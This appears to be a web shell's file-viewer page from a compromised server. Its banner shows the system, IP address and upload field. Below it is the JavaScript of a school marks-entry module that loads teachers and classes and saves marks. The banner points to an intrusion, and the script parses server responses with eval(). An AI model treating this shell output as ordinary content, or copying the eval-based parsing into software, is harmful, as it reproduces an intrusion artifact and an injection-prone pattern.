0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.91.15


Current Path : /var/www/oasis/js/
Upload File :
Current File : /var/www/oasis/js/iacombined.js

function callIACombined() {
  $("#page_main_div").load("../html_modules/iacombined.html", function () {
    document.getElementById("display_module_name").innerHTML =
      "Marks Entry Combined";
    document.getElementById("module_name_for_save").value =
      "Marks Entry Combined";
    getDefaultHeadFooterLinks("Marks Entry Combined");
    loadIACombteachcode();
  });
}

function loadIACombteachcode() {
  $.ajax({
    type: "POST",
    url: $host_url + "loadIAteachcode",
    //async: false,
    success: function (response) {
      var res = JSON.parse(response);
      var teachnameoptions = "";

      teachnameoptions = "<option value=''>---Select Teacher---</option>";

      for (var i = 0; i < res.data.length; i++) {
        teachnameoptions += `<option value='${res.data[i].fteachcode}'>${res.data[i].fteachcode} - ${res.data[i].fteachname}</option>`;
      }

      $("#teachname").html(teachnameoptions);
    },
  });
}

function getIACombinedclassnames() {
  var techcode = document.getElementById("teachname").value;
  console.log(techcode);
  if (techcode == "") {
    return;
  }
  $.ajax({
    type: "POST",
    data: "&techcode=" + techcode,
    url: $host_url + "getIAclassnames",
    success: function (response) {
      var res = JSON.parse(response);
      console.log(res);
      var classnameoption = "<option value=''>---Select Class Name---</option>";
      for (var i = 0; i < res.data.length; i++) {
        classnameoption += `<option value='${res.data[i].fclassid}'>${res.data[i].fclassname} - ${res.data[i].fclassid}</option>`;
      }
      $("#classnameoptions").html(classnameoption);
    },
  });
}

function getIACombDegSemSubDet() {
  var techcode = document.getElementById("teachname").value;
  var classid = document.getElementById("classnameoptions").value;
  console.log(techcode);
  if (techcode == "") {
    return;
  }
  $.ajax({
    type: "POST",
    data: "&techcode=" + techcode + "&classid=" + classid,
    url: $host_url + "getDegSemSubDet",
    success: function (response) {
      var res = JSON.parse(response);
      $("#degcode").val(res.data.fdescpn);
      $("#hdegcode").val(res.data.fdegree);
      $("#sem").val(res.data.fexamname);
      $("#hsem").val(res.data.fexamno);
      $("#subcode").val(res.data.fsubname);
      $("#hsubcode").val(res.data.fsubcode);

      // let subelement = res.data.subelement;
      // var classnameoption = "<option value=''>---Select---</option>";
      // for (var i = 0; i < subelement.length; i++) {
      //   classnameoption += `<option value='${subelement[i].fsubcode}'>${subelement[i].fsubcode} - ${subelement[i].subname}</option>`;
      // }
      // $("#subelement").html(classnameoption);
    },
  });
}

function viewIACombSubclass() {
  var techcode = document.getElementById("teachname").value;
  var classid = document.getElementById("classnameoptions").value;
  //var subelement = document.getElementById("subelement").value;

  if (techcode == "") {
    alert("Please select teacher");
    return;
  }

  if (classid == "") {
    alert("Please select class");
    return;
  }

  // if (subelement == "") {
  //   alert("Please select Subject");
  //   return;
  // }

  $.ajax({
    type: "POST",
    url: $host_url + "viewIACombSubclass",
    data: "&techcode=" + techcode + "&classid=" + classid,
    success: viewIACombSubclassSuccess,
  });
}

function viewIACombSubclassSuccess($responce) {
  $responce = eval("(" + $responce + ")");
  $("#createview").html("");
  $("#createview").html($responce.data["tabledata"]);
}

function getValidateMarks(maxmarks, regno, subcode) {
  let marks = $("#mes_marks_" + subcode + "_" + regno).val();
  if (marks == "") {
    marks = 0;
  }
  if (parseInt(marks) > parseInt(maxmarks)) {
    alert("Please Enter Valid Marks");
    $("#mes_marks_" + subcode + "_" + regno).val("");
    document.getElementById("mes_marks_" + subcode + "_" + regno).focus();
    return;
  }
}

function saveIACombined() {
  var techcode = document.getElementById("teachname").value;
  var classid = document.getElementById("classnameoptions").value;
  //var subelement = document.getElementById("subelement").value;

  if (techcode == "") {
    alert("Please select teacher");
    return;
  }

  if (classid == "") {
    alert("Please select class");
    return;
  }

  // if (subelement == "") {
  //   alert("Please select Subject");
  //   return;
  // }

  let subarry = [];
  $("#showteachsub input[type=hidden]").each(function () {
    let id = $(this).attr("id");
    if ($(`#${id}`).val() == "U") {
      let sucodeid = $(this).attr("id").split("_");
      let sublen = {};
      sublen["regno"] = sucodeid[2];
      sublen["subcode"] = sucodeid[1];
      sublen["marks"] = $(`#mes_marks_${sucodeid[1]}_${sucodeid[2]}`).val();
      subarry.push(sublen);
    }
  });
  console.log(subarry);
  $.ajax({
    type: "POST",
    url: $host_url + "saveIACombined",
    data:
      "&techcode=" +
      techcode +
      "&classid=" +
      classid +
      `&subarry=` +
      JSON.stringify(subarry),
    success: saveIACombinedSuccess,
  });
}

function saveIACombinedSuccess($responce) {
  $responce = eval("(" + $responce + ")");
  alert($responce.data);
  $("#createview").html("");
  return;
}

function getupdate(id) {
  let arry = id.split("_");
  console.log(arry);
  console.log(`#hidden_${arry[2]}_${arry[3]}`);
  $(`#hidden_${arry[2]}_${arry[3]}`).val("U");
}

function addtottal(resub, regno) {
  let myArray = resub.split("*");
  console.log(myArray);
  let tot = 0;

  for (let i = 0; i < myArray.length; i++) {
    if (myArray[i] != "") {
      let value = $(`#mes_marks_${myArray[i]}_${regno}`).val();
      console.log(value);
      let marks = 0;
      if (value == "-1") marks = 0;
      else if (value == "AB") marks = 0;
      else marks = value;
      console.log(marks);
      tot = parseInt(tot) + parseInt(marks);
    }
  }
  $(`#mes_marks_tot_${regno}`).val(tot);
}